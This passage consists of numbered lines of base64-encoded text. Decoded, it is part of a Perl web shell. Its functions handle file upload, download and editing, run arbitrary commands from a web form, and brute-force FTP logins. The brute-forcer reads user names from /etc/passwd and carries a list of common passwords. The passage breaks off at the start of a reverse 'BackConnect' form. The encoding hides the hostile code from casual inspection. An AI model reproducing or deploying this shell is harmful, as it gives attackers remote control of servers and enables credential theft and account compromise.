  1619. RmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0
  1620. aW9uL3gtdW5rbm93blxuIjsKCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsK
  1621. CQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxu
  1622. IjsKCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7CgkJZXhpdCgx
  1623. KTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVk
  1624. IHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOwoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxv
  1625. YWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1626. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMg
  1627. VGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJ
  1628. dCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRo
  1629. cm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBp
  1630. cyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMg
  1631. Y2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0t
  1632. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1633. LS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmll
  1634. ZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5z
  1635. ZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4g
  1636. bS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVy
  1637. RmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkg
  1638. aWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0Rmls
  1639. ZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMg
  1640. d2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRG
  1641. aWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJ
  1642. JlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0t
  1643. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1644. LS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRv
  1645. IHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxh
  1646. eXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lz
  1647. ZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1648. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1
  1649. YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxv
  1650. YWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50
  1651. RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGlu
  1652. ZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVu
  1653. dERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRo
  1654. ZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9
  1655. ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxd
  1656. KikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxl
  1657. bmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBu
  1658. b3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9u
  1659. cyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZp
  1660. bGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJ
  1661. ewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShV
  1662. UExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9
  1663. OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0
  1664. RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5h
  1665. bWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJ
  1666. CX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJl
  1667. c3VsdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1668. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVk
  1669. IHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFt
  1670. ZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIg
  1671. dG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0
  1672. aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2Fu
  1673. IGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1674. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7
  1675. CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fp
  1676. bgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJ
  1677. cmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CgkKCSMgZ2V0IGZ1bGx5IHF1YWxpZmll
  1678. ZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5z
  1679. ZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0v
  1680. XlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZp
  1681. bGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlm
  1682. KCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUg
  1683. Lj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdl
  1684. IGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRh
  1685. cmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UK
  1686. CXsKCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCgoj
  1687. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1688. LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0
  1689. ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBh
  1690. bGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVj
  1691. dG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUg
  1692. bmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMg
  1693. dXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0
  1694. IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUg
  1695. dXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0t
  1696. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1697. LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJbXkgJHJlc3VsdD0iIjsK
  1698. CWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGly
  1699. IGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBv
  1700. dXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAi
  1701. Y2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNo
  1702. b3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRM
  1703. aW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwv
  1704. cnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdm
  1705. YWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8g
  1706. ZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0g
  1707. JlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJ
  1708. JHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRD
  1709. b21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21t
  1710. YW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dz
  1711. JyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQg
  1712. Lj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0t
  1713. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
  1714. IHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1715. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCnN1YiBSdW5DbWQKewoJbXkgJHJlc3VsdD0i
  1716. IjsKCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4k
  1717. UmVkaXJlY3RvcjsKCWlmKCEkV2luTlQpCgl7CgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGlt
  1718. ZW91dDsKCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7Cgl9CglpZigkU2hvd0R5bmFt
  1719. aWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgl7CgkJJHw9MTsKCQkk
  1720. Q29tbWFuZCAuPSAiIHwiOwoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCXdoaWxl
  1721. KDxDb21tYW5kT3V0cHV0PikKCQl7CgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkkcmVzdWx0
  1722. IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7CgkJfQoJCSR8PTA7Cgl9CgllbHNlICMgc2hv
  1723. dyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCXsKCQkkcmVzdWx0IC49ICZIdG1sU3Bl
  1724. Y2lhbENoYXJzKCckQ29tbWFuZCcpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0K
  1725. CXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
  1726. PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmls
  1727. ZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
  1728. PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQg
  1729. PSIiOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29t
  1730. bWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJz
  1731. YXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5D
  1732. b21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13
  1733. ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmls
  1734. ZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9u
  1735. dDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9u
  1736. dD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDog
  1737. Ijxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+
  1738. ICI7CgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOwoJJFJ1bkNvbW1hbmQgPSAiJHJlYWQg
  1739. XCIkUnVuQ29tbWFuZFwiIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0
  1740. aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CgoJPGlucHV0IHR5cGU9ImhpZGRl
  1741. biIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KCSRQcm9tcHQKCTxpbnB1dCB0eXBlPSJ0
  1742. ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIg
  1743. dHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21t
  1744. YW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxl
  1745. IiA+ICRzYXZlIDxicj4gJG1zZwoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIg
  1746. Y29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+CkVORAoJCgkkcmVz
  1747. dWx0IC49ICZSdW5DbWQ7CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAg
  1748. IjwvZm9ybT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09
  1749. PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIFNh
  1750. dmUgRmlsZQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
  1751. PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZSgkKQp7CglteSAkRGF0
  1752. YT0gc2hpZnQgOwoJbXkgJEZpbGU9IHNoaWZ0OwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAu
  1753. JEZpbGU7CglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkKCXsKCQliaW5tb2RlIEZJTEU7CgkJcHJp
  1754. bnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXJldHVybiAxOwoJfWVsc2UKCXsKCQlyZXR1
  1755. cm4gMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1756. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyIEZvcm0KIy0t
  1757. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1758. LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXJGb3JtCnsKCW15ICRyZXN1bHQ9IiI7
  1759. CgkkcmVzdWx0IC49IDw8RU5EOwoKPHRhYmxlPgoKPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249
  1760. ImNlbnRlciI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4KU2ltcGxl
  1761. IEZUUCBicnV0ZSBmb3JjZXI8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  1762. Iwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4K
  1763. CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3Rk
  1764. Pgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBu
  1765. YW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAt
  1766. ZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNz
  1767. Ojxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwox
  1768. MjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFz
  1769. czEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dv
  1770. cmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEy
  1771. MzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2
  1772. Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcK
  1773. Njc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1
  1774. NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAj
  1775. CiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91PC90ZXh0
  1776. YXJlYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+ClNs
  1777. ZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPgoKPG9wdGlvbj4wPC9vcHRpb24+CjxvcHRpb24+MTwv
  1778. b3B0aW9uPgo8b3B0aW9uPjI8L29wdGlvbj4KCjxvcHRpb24+Mzwvb3B0aW9uPgo8L3NlbGVjdD4g
  1779. CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIi
  1780. Lz48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0t
  1781. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1782. LS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1783. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpz
  1784. dWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FE
  1785. RFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2Vy
  1786. Rm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlu
  1787. eyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVz
  1788. ZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1
  1789. dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8
  1790. PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAo
  1791. QHVzZXIpCgkJewoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpCgkJCXsKCQkJCWZvcmVhY2ggJHBh
  1792. c3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBv
  1793. ciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRw
  1794. LT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49
  1795. ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNl
  1796. cnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsK
  1797. CQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoISgkaW57J3Ns
  1798. ZWVwJ30gZXEgIjAiKSkKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsKCQkJ
  1799. CQl9CgkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJfQoJCQl9CgkJfQoJCSRyZXN1bHQgLj0gIlxuPGJy
  1800. Pj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxu
  1801. IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1802. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29u
  1803. bmVjdCBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1804. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kRm9ybQp7CglyZXR1
  1805. cm4gPDxFTkQ7Cgk8YnI+PGJyPgoKCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG5hbWU9ImYiIG1ldGhv
  1806. ZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJhY2tDb25uZWN0OiA8aW5w
  1807. dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+Cgk8dGQ+IEhv
